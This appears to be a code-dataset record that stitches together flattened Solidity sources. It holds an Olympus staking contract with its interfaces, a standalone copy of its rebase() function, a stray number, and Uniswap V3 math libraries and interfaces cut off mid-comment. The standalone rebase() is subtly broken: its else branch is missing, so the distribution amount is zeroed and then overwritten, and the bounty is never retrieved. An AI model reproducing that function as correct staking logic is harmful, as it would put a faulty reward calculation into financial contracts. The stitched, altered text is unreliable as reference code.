https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: interfaces/IgOHM.sol pragma solidity >=0.7.5; interface IgOHM is IERC20 { function mint(address _to, uint256 _amount) external; function burn(address _from, uint256 _amount) external; function index() external view returns (uint256); function balanceFrom(uint256 _amount) external view returns (uint256); function balanceTo(uint256 _amount) external view returns (uint256); function migrate( address _staking, address _sOHM ) external; } // File: interfaces/IsOHM.sol pragma solidity >=0.7.5; interface IsOHM is IERC20 { function rebase( uint256 ohmProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function gonsForBalance( uint amount ) external view returns ( uint ); function balanceForGons( uint gons ) external view returns ( uint ); function index() external view returns ( uint ); function toG(uint amount) external view returns (uint); function fromG(uint amount) external view returns (uint); function changeDebt( uint256 amount, address debtor, bool add ) external; function debtBalances(address _address) external view returns (uint256); } // File: libraries/SafeERC20.sol pragma solidity >=0.7.5; /// @notice Safe IERC20 and ETH transfer library that safely handles missing return values. /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v3-periphery/blob/main/contracts/libraries/TransferHelper.sol) /// Taken from Solmate library SafeERC20 { function safeTransferFrom( IERC20 token, address from, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call( abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, amount) ); require(success && (data.length == 0 || abi.decode(data, (bool))), "TRANSFER_FROM_FAILED"); } function safeTransfer( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call( abi.encodeWithSelector(IERC20.transfer.selector, to, amount) ); require(success && (data.length == 0 || abi.decode(data, (bool))), "TRANSFER_FAILED"); } function safeApprove( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call( abi.encodeWithSelector(IERC20.approve.selector, to, amount) ); require(success && (data.length == 0 || abi.decode(data, (bool))), "APPROVE_FAILED"); } function safeTransferETH(address to, uint256 amount) internal { (bool success, ) = to.call{value: amount}(new bytes(0)); require(success, "ETH_TRANSFER_FAILED"); } } // File: libraries/SafeMath.sol pragma solidity ^0.7.5; // TODO(zx): Replace all instances of SafeMath with OZ implementation library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } // Only used in the BondingCalculator.sol function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } // File: Staking.sol pragma solidity ^0.7.5; contract OlympusStaking is OlympusAccessControlled { /* ========== DEPENDENCIES ========== */ using SafeMath for uint256; using SafeERC20 for IERC20; using SafeERC20 for IsOHM; using SafeERC20 for IgOHM; /* ========== EVENTS ========== */ event DistributorSet(address distributor); event WarmupSet(uint256 warmup); /* ========== DATA STRUCTURES ========== */ struct Epoch { uint256 length; // in seconds uint256 number; // since inception uint256 end; // timestamp uint256 distribute; // amount } struct Claim { uint256 deposit; // if forfeiting uint256 gons; // staked balance uint256 expiry; // end of warmup period bool lock; // prevents malicious delays for claim } /* ========== STATE VARIABLES ========== */ IERC20 public immutable OHM; IsOHM public immutable sOHM; IgOHM public immutable gOHM; Epoch public epoch; IDistributor public distributor; mapping(address => Claim) public warmupInfo; uint256 public warmupPeriod; uint256 private gonsInWarmup; /* ========== CONSTRUCTOR ========== */ constructor( address _ohm, address _sOHM, address _gOHM, uint256 _epochLength, uint256 _firstEpochNumber, uint256 _firstEpochTime, address _authority ) OlympusAccessControlled(IOlympusAuthority(_authority)) { require(_ohm != address(0), "Zero address: OHM"); OHM = IERC20(_ohm); require(_sOHM != address(0), "Zero address: sOHM"); sOHM = IsOHM(_sOHM); require(_gOHM != address(0), "Zero address: gOHM"); gOHM = IgOHM(_gOHM); epoch = Epoch({length: _epochLength, number: _firstEpochNumber, end: _firstEpochTime, distribute: 0}); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice stake OHM to enter warmup * @param _to address * @param _amount uint * @param _claim bool * @param _rebasing bool * @return uint */ function stake( address _to, uint256 _amount, bool _rebasing, bool _claim ) external returns (uint256) { OHM.safeTransferFrom(msg.sender, address(this), _amount); _amount = _amount.add(rebase()); // add bounty if rebase occurred if (_claim && warmupPeriod == 0) { return _send(_to, _amount, _rebasing); } else { Claim memory info = warmupInfo[_to]; if (!info.lock) { require(_to == msg.sender, "External deposits for account are locked"); } warmupInfo[_to] = Claim({ deposit: info.deposit.add(_amount), gons: info.gons.add(sOHM.gonsForBalance(_amount)), expiry: epoch.number.add(warmupPeriod), lock: info.lock }); gonsInWarmup = gonsInWarmup.add(sOHM.gonsForBalance(_amount)); return _amount; } } /** * @notice retrieve stake from warmup * @param _to address * @param _rebasing bool * @return uint */ function claim(address _to, bool _rebasing) public returns (uint256) { Claim memory info = warmupInfo[_to]; if (!info.lock) { require(_to == msg.sender, "External claims for account are locked"); } if (epoch.number >= info.expiry && info.expiry != 0) { delete warmupInfo[_to]; gonsInWarmup = gonsInWarmup.sub(info.gons); return _send(_to, sOHM.balanceForGons(info.gons), _rebasing); } return 0; } /** * @notice forfeit stake and retrieve OHM * @return uint */ function forfeit() external returns (uint256) { Claim memory info = warmupInfo[msg.sender]; delete warmupInfo[msg.sender]; gonsInWarmup = gonsInWarmup.sub(info.gons); OHM.safeTransfer(msg.sender, info.deposit); return info.deposit; } /** * @notice prevent new deposits or claims from ext. address (protection from malicious activity) */ function toggleLock() external { warmupInfo[msg.sender].lock = !warmupInfo[msg.sender].lock; } /** * @notice redeem sOHM for OHMs * @param _to address * @param _amount uint * @param _trigger bool * @param _rebasing bool * @return amount_ uint */ function unstake( address _to, uint256 _amount, bool _trigger, bool _rebasing ) external returns (uint256 amount_) { amount_ = _amount; uint256 bounty; if (_trigger) { bounty = rebase(); } if (_rebasing) { sOHM.safeTransferFrom(msg.sender, address(this), _amount); amount_ = amount_.add(bounty); } else { gOHM.burn(msg.sender, _amount); // amount was given in gOHM terms amount_ = gOHM.balanceFrom(amount_).add(bounty); // convert amount to OHM terms & add bounty } require(amount_ <= OHM.balanceOf(address(this)), "Insufficient OHM balance in contract"); OHM.safeTransfer(_to, amount_); } /** * @notice convert _amount sOHM into gBalance_ gOHM * @param _to address * @param _amount uint * @return gBalance_ uint */ function wrap(address _to, uint256 _amount) external returns (uint256 gBalance_) { sOHM.safeTransferFrom(msg.sender, address(this), _amount); gBalance_ = gOHM.balanceTo(_amount); gOHM.mint(_to, gBalance_); } /** * @notice convert _amount gOHM into sBalance_ sOHM * @param _to address * @param _amount uint * @return sBalance_ uint */ function unwrap(address _to, uint256 _amount) external returns (uint256 sBalance_) { gOHM.burn(msg.sender, _amount); sBalance_ = gOHM.balanceFrom(_amount); sOHM.safeTransfer(_to, sBalance_); } /** * @notice trigger rebase if epoch over * @return uint256 */ function rebase() public returns (uint256) { uint256 bounty; if (epoch.end <= block.timestamp) { sOHM.rebase(epoch.distribute, epoch.number); epoch.end = epoch.end.add(epoch.length); epoch.number++; if (address(distributor) != address(0)) { distributor.distribute(); bounty = distributor.retrieveBounty(); // Will mint ohm for this contract if there exists a bounty } uint256 balance = OHM.balanceOf(address(this)); uint256 staked = sOHM.circulatingSupply(); if (balance <= staked.add(bounty)) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked).sub(bounty); } } return bounty; } /* ========== INTERNAL FUNCTIONS ========== */ /** * @notice send staker their amount as sOHM or gOHM * @param _to address * @param _amount uint * @param _rebasing bool */ function _send( address _to, uint256 _amount, bool _rebasing ) internal returns (uint256) { if (_rebasing) { sOHM.safeTransfer(_to, _amount); // send as sOHM (equal unit as OHM) return _amount; } else { gOHM.mint(_to, gOHM.balanceTo(_amount)); // send as gOHM (convert units from OHM) return gOHM.balanceTo(_amount); } } /* ========== VIEW FUNCTIONS ========== */ /** * @notice returns the sOHM index, which tracks rebase growth * @return uint */ function index() public view returns (uint256) { return sOHM.index(); } /** * @notice total supply in warmup */ function supplyInWarmup() public view returns (uint256) { return sOHM.balanceForGons(gonsInWarmup); } /** * @notice seconds until the next epoch begins */ function secondsToNextEpoch() external view returns (uint256) { return epoch.end.sub(block.timestamp); } /* ========== MANAGERIAL FUNCTIONS ========== */ /** * @notice sets the contract address for LP staking * @param _distributor address */ function setDistributor(address _distributor) external onlyGovernor { distributor = IDistributor(_distributor); emit DistributorSet(_distributor); } /** * @notice set warmup period for new stakers * @param _warmupPeriod uint */ function setWarmupLength(uint256 _warmupPeriod) external onlyGovernor { warmupPeriod = _warmupPeriod; emit WarmupSet(_warmupPeriod); } }
trigger rebase if epoch over return uint256/
function rebase() public returns (uint256) { uint256 bounty; if (epoch.end <= block.timestamp) { sOHM.rebase(epoch.distribute, epoch.number); epoch.end = epoch.end.add(epoch.length); epoch.number++; if (address(distributor) != address(0)) { distributor.distribute(); } uint256 balance = OHM.balanceOf(address(this)); uint256 staked = sOHM.circulatingSupply(); if (balance <= staked.add(bounty)) { epoch.distribute = 0; epoch.distribute = balance.sub(staked).sub(bounty); } } return bounty; }
495,188
// Sources flattened with hardhat v2.2.1 https://hardhat.org // File @uniswap/v3-core/contracts/libraries/TickMath.sol@v1.0.0 pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // File @uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol@v1.0.0 pragma solidity >=0.5.0; /// @title The interface for the Uniswap V3 Factory /// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees interface IUniswapV3Factory { /// @notice Emitted when the owner of the factory is changed /// @param oldOwner The owner before the owner was changed /// @param newOwner The owner after the owner was changed event OwnerChanged(address indexed oldOwner, address indexed newOwner); /// @notice Emitted when a pool is created /// @param token0 The first token of the pool by address sort order /// @param token1 The second token of the pool by address sort order /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @param tickSpacing The minimum number of ticks between initialized ticks /// @param pool The address of the created pool event PoolCreated( address indexed token0, address indexed token1, uint24 indexed fee, int24 tickSpacing, address pool ); /// @notice Emitted when a new fee amount is enabled for pool creation via the factory /// @param fee The enabled fee, denominated in hundredths of a bip /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing); /// @notice Returns the current owner of the factory /// @dev Can be changed by the current owner via setOwner /// @return The address of the factory owner function owner() external view returns (address); /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee /// @return The tick spacing function feeAmountTickSpacing(uint24 fee) external view returns (int24); /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order /// @param tokenA The contract address of either token0 or token1 /// @param tokenB The contract address of the other token /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @return pool The pool address function getPool( address tokenA, address tokenB, uint24 fee ) external view returns (address pool); /// @notice Creates a pool for the given two tokens and fee /// @param tokenA One of the two tokens in the desired pool /// @param tokenB The other of the two tokens in the desired pool /// @param fee The desired fee for the pool /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments /// are invalid. /// @return pool The address of the newly created pool function createPool( address tokenA, address tokenB, uint24 fee ) external returns (address pool); /// @notice Updates the owner of the factory /// @dev Must be called by the current owner /// @param _owner The new owner of the factory function setOwner(address _owner) external; /// @notice Enables a fee amount with the given tickSpacing /// @dev Fee amounts may never be removed once enabled /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6) /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount function enableFeeAmount(uint24 fee, int24 tickSpacing) external; } // File @uniswap/v3-periphery/contracts/libraries/PoolAddress.sol@v1.2.1 pragma solidity >=0.5.0; /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } } // File @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolImmutables.sol@v1.0.0 pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // File @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolState.sol@v1.0.0 pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // File @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolDerivedState.sol@v1.0.0 pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // File @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolActions.sol@v1.0.0 pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The 